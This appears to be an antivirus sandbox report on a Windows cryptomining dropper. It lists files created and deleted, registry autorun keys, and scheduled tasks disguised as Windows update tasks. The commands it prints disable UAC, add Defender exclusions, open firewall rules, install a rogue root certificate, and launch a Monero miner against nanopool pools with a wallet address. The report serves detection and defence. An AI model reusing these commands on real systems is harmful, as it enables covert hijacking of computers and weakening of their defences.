Technical Information
To ensure autorun and distribution
Modifies the following registry keys
- [HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run] 'System' = '%WINDIR%\SysWOW64\WindowsUpdateBox.exe'
Creates or modifies the following files
- <SYSTEM32>\tasks\microsoft\windows\mui\windowsupdate
- <SYSTEM32>\tasks\microsoft\windows\mui\checkupdate
- <SYSTEM32>\tasks\microsoft\windows\mui\checkupdatesystem
Malicious functions
To complicate detection of its presence in the operating system,
blocks the following features:
- User Account Control (UAC)
adds antivirus exclusion:
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "%WINDIR%\SysWOW64\CompatTelRunner.exe"
Executes the following
- '<SYSTEM32>\netsh.exe' advfirewall firewall add rule name="System" dir=out action=allow program="%WINDIR%\SysWOW64\CompatTelRunner.exe" enable=yes
- '<SYSTEM32>\netsh.exe' advfirewall firewall add rule name="System" dir=in action=allow program="%WINDIR%\SysWOW64\CompatTelRunner.exe" enable=yes
Terminates or attempts to terminate
the following system processes:
- %WINDIR%\syswow64\compattelrunner.exe
Modifies file system
Creates the following files
- %TEMP%\aut6e6b.tmp
- %LOCALAPPDATA%\microsoft\windows\<INETFILES>\low\content.ie5\index.dat
- %APPDATA%\microsoft\windows\start menu\programs\winupdate\microsoftВ® windowsВ® operating system.lnk
- %TEMP%\_ir_sf_temp_0\irimg2.jpg
- %TEMP%\_ir_sf_temp_0\irimg1.jpg
- %TEMP%\_ir_sf_temp_0\irsetup.dat
- %TEMP%\_ir_sf_temp_0\lua5.1.dll
- %TEMP%\_ir_sf_temp_0\irsetup.exe
- %TEMP%\autbeb9.tmp
- %TEMP%\auta86b.tmp
- %TEMP%\auta85a.tmp
- %TEMP%\auta406.tmp
- %TEMP%\auta3f5.tmp
- %TEMP%\auta23f.tmp
- %TEMP%\auta1d1.tmp
- %TEMP%\mswindows.crt
- %TEMP%\aut8d56.tmp
- %WINDIR%\syswow64\microsoftwindowsold.xml
- %TEMP%\aut74d6.tmp
- %WINDIR%\syswow64\microsoftwindows.xml
- %TEMP%\aut74c6.tmp
- %WINDIR%\syswow64\windowsupdatebox.exe
- %TEMP%\aut7071.tmp
- %WINDIR%\syswow64\winring0x64.sys
- %TEMP%\aut7060.tmp
- %WINDIR%\syswow64\compattelrunner.exe
- %TEMP%\aut6eba.tmp
- %WINDIR%\syswow64\checkupdate.exe
- %APPDATA%\microsoft\windows\cookies\low\index.dat
- %LOCALAPPDATA%\microsoft\windows\history\low\history.ie5\index.dat
Deletes the following files
- %TEMP%\aut6e6b.tmp
- %TEMP%\_ir_sf_temp_0\irimg2.jpg
- %TEMP%\_ir_sf_temp_0\irimg1.jpg
- %TEMP%\_ir_sf_temp_0\irsetup.dat
- %TEMP%\mswindows.crt
- %TEMP%\autbeb9.tmp
- %TEMP%\auta86b.tmp
- %TEMP%\auta85a.tmp
- %TEMP%\auta406.tmp
- %TEMP%\auta3f5.tmp
- %TEMP%\auta23f.tmp
- %TEMP%\auta1d1.tmp
- %TEMP%\aut8d56.tmp
- %TEMP%\aut74d6.tmp
- %TEMP%\aut74c6.tmp
- %TEMP%\aut7071.tmp
- %TEMP%\aut7060.tmp
- %TEMP%\aut6eba.tmp
- %TEMP%\_ir_sf_temp_0\irsetup.exe
- %TEMP%\_ir_sf_temp_0\lua5.1.dll
Miscellaneous
Adds a root certificate
Searches for the following windows
- ClassName: 'MS_WINHELP' WindowName: ''
Creates and executes the following
- '%TEMP%\_ir_sf_temp_0\irsetup.exe' __IRAOFF:5644322 "__IRAFN:%WINDIR%\SysWOW64\WindowsUpdateBox.exe" "__IRCT:0" "__IRTSS:0" "__IRSID:S-1-5-21-1238866942-1249195528-555854008-1000"
- '%WINDIR%\syswow64\checkupdate.exe'
- '%WINDIR%\syswow64\windowsupdatebox.exe'
- '%WINDIR%\syswow64\compattelrunner.exe' --algo rx/0 --coin monero --url stratum+tcp://xmr-eu1.nanopool.org:14444 --user 49v2HfcBmdDdUJuN9YcsGycXenvUCDoVD7L9EiCsoaBN1sjkvQeD7eN7AeRyJtLs54E2roykbDVEUbq26SVYGZAySzhsGvS.AAA --pass x --th...
- '%WINDIR%\syswow64\compattelrunner.exe' --algo rx/0 --coin monero --url stratum+tcp://xmr-us-east1.nanopool.org:14444 --user 49v2HfcBmdDdUJuN9YcsGycXenvUCDoVD7L9EiCsoaBN1sjkvQeD7eN7AeRyJtLs54E2roykbDVEUbq26SVYGZAySzhsGvS.AAA --pass x...
- '%WINDIR%\syswow64\windowsupdatebox.exe' ' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c schtasks /Create /SC ONLOGON /DELAY 0005:00 /TN "\Microsoft\Windows\MUI\CheckUpdateSystem" /TR "%windir%\SysWOW64\CheckUpdate.exe" /IT /F /RL HIGHEST & schtasks /Run /TN "\Microsoft\Windows\...' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c schtasks /Create /SC ONLOGON /DELAY 0005:00 /TN "\Microsoft\Windows\MUI\CheckUpdate" /TR "%windir%\SysWOW64\WindowsUpdateBox.exe" /IT /F /RL HIGHEST & schtasks /Run /TN "\Microsoft\Windows\M...' (with hidden window)
- '%WINDIR%\syswow64\compattelrunner.exe' --algo rx/0 --coin monero --url stratum+tcp://xmr-us-east1.nanopool.org:14444 --user 49v2HfcBmdDdUJuN9YcsGycXenvUCDoVD7L9EiCsoaBN1sjkvQeD7eN7AeRyJtLs54E2roykbDVEUbq26SVYGZAySzhsGvS.AAA --pass x...' (with hidden window)
- '%WINDIR%\syswow64\checkupdate.exe' ' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c certutil –addstore –f root mswindows.crt & exit' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c schtasks /Change /TN "Microsoft\Windows\MUI\WindowsUpdate" /TR "%windir%\SysWOW64\CompatTelRunner.exe --algo rx/0 --coin monero --url stratum+tcp://xmr-eu1.nanopool.org:14444 --user 49v2HfcB...' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c schtasks /Run /TN "Microsoft\Windows\MUI\WindowsUpdate" & exit' (with hidden window)
- '%WINDIR%\syswow64\compattelrunner.exe' --algo rx/0 --coin monero --url stratum+tcp://xmr-eu1.nanopool.org:14444 --user 49v2HfcBmdDdUJuN9YcsGycXenvUCDoVD7L9EiCsoaBN1sjkvQeD7eN7AeRyJtLs54E2roykbDVEUbq26SVYGZAySzhsGvS.AAA --pass x --th...' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c schtasks /Create /XML "%windir%\SysWOW64\MicrosoftWindowsold.xml" /TN "Microsoft\Windows\MUI\WindowsUpdate" /F & exit' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c netsh advfirewall firewall add rule name="System" dir=in action=allow program="%windir%\SysWOW64\CompatTelRunner.exe" enable=yes & exit' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c netsh advfirewall firewall add rule name="System" dir=out action=allow program="%windir%\SysWOW64\CompatTelRunner.exe" enable=yes & exit' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c powershell.exe -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "%WINDIR%\SysWOW64\CompatTelRunner.exe" & exit' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c schtasks /Change /TN "Microsoft\Windows\MUI\WindowsUpdate" /TR "%windir%\SysWOW64\CompatTelRunner.exe --algo rx/0 --coin monero --url stratum+tcp://xmr-us-east1.nanopool.org:14444 --user 49v...' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c schtasks /End /TN "Microsoft\Windows\MUI\WindowsUpdate" & exit' (with hidden window)
Executes the following
- '<SYSTEM32>\cmd.exe' /c schtasks /End /TN "Microsoft\Windows\MUI\WindowsUpdate" & exit
- '<SYSTEM32>\schtasks.exe' /Create /SC ONLOGON /DELAY 0005:00 /TN "\Microsoft\Windows\MUI\CheckUpdateSystem" /TR "%WINDIR%\SysWOW64\CheckUpdate.exe" /IT /F /RL HIGHEST
- '<SYSTEM32>\cmd.exe' /c schtasks /Create /SC ONLOGON /DELAY 0005:00 /TN "\Microsoft\Windows\MUI\CheckUpdateSystem" /TR "%windir%\SysWOW64\CheckUpdate.exe" /IT /F /RL HIGHEST & schtasks /Run /TN "\Microsoft\Windows\...
- '<SYSTEM32>\taskeng.exe' {AA8B4991-9081-415D-AD28-DE96ABD1F972} S-1-5-21-1238866942-1249195528-555854008-1000:tatclijqop\user:Interactive:[1]
- '<SYSTEM32>\schtasks.exe' /Run /TN "\Microsoft\Windows\MUI\CheckUpdate"
- '<SYSTEM32>\schtasks.exe' /Create /SC ONLOGON /DELAY 0005:00 /TN "\Microsoft\Windows\MUI\CheckUpdate" /TR "%WINDIR%\SysWOW64\WindowsUpdateBox.exe" /IT /F /RL HIGHEST
- '<SYSTEM32>\cmd.exe' /c schtasks /Create /SC ONLOGON /DELAY 0005:00 /TN "\Microsoft\Windows\MUI\CheckUpdate" /TR "%windir%\SysWOW64\WindowsUpdateBox.exe" /IT /F /RL HIGHEST & schtasks /Run /TN "\Microsoft\Windows\M...
- '<SYSTEM32>\schtasks.exe' /Change /TN "Microsoft\Windows\MUI\WindowsUpdate" /TR "%WINDIR%\SysWOW64\CompatTelRunner.exe --algo rx/0 --coin monero --url stratum+tcp://xmr-us-east1.nanopool.org:14444 --user 49v2HfcBmdDdUJu...
- '<SYSTEM32>\cmd.exe' /c schtasks /Change /TN "Microsoft\Windows\MUI\WindowsUpdate" /TR "%windir%\SysWOW64\CompatTelRunner.exe --algo rx/0 --coin monero --url stratum+tcp://xmr-us-east1.nanopool.org:14444 --user 49v...
- '<SYSTEM32>\certutil.exe' –addstore –f root mswindows.crt
- '<SYSTEM32>\schtasks.exe' /Run /TN "\Microsoft\Windows\MUI\CheckUpdateSystem"
- '<SYSTEM32>\cmd.exe' /c certutil –addstore –f root mswindows.crt & exit
- '<SYSTEM32>\cmd.exe' /c schtasks /Run /TN "Microsoft\Windows\MUI\WindowsUpdate" & exit
- '<SYSTEM32>\schtasks.exe' /Change /TN "Microsoft\Windows\MUI\WindowsUpdate" /TR "%WINDIR%\SysWOW64\CompatTelRunner.exe --algo rx/0 --coin monero --url stratum+tcp://xmr-eu1.nanopool.org:14444 --user 49v2HfcBmdDdUJuN9Ycs...
- '<SYSTEM32>\cmd.exe' /c schtasks /Change /TN "Microsoft\Windows\MUI\WindowsUpdate" /TR "%windir%\SysWOW64\CompatTelRunner.exe --algo rx/0 --coin monero --url stratum+tcp://xmr-eu1.nanopool.org:14444 --user 49v2HfcB...
- '<SYSTEM32>\schtasks.exe' /Create /XML "%WINDIR%\SysWOW64\MicrosoftWindowsold.xml" /TN "Microsoft\Windows\MUI\WindowsUpdate" /F
- '<SYSTEM32>\cmd.exe' /c schtasks /Create /XML "%windir%\SysWOW64\MicrosoftWindowsold.xml" /TN "Microsoft\Windows\MUI\WindowsUpdate" /F & exit
- '<SYSTEM32>\cmd.exe' /c netsh advfirewall firewall add rule name="System" dir=in action=allow program="%windir%\SysWOW64\CompatTelRunner.exe" enable=yes & exit
- '<SYSTEM32>\cmd.exe' /c netsh advfirewall firewall add rule name="System" dir=out action=allow program="%windir%\SysWOW64\CompatTelRunner.exe" enable=yes & exit
- '<SYSTEM32>\cmd.exe' /c powershell.exe -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "%WINDIR%\SysWOW64\CompatTelRunner.exe" & exit
- '<SYSTEM32>\schtasks.exe' /End /TN "Microsoft\Windows\MUI\WindowsUpdate"
- '<SYSTEM32>\schtasks.exe' /Run /TN "Microsoft\Windows\MUI\WindowsUpdate"
- '<SYSTEM32>\rundll32.exe' "<SYSTEM32>\WININET.dll",DispatchAPICall 1
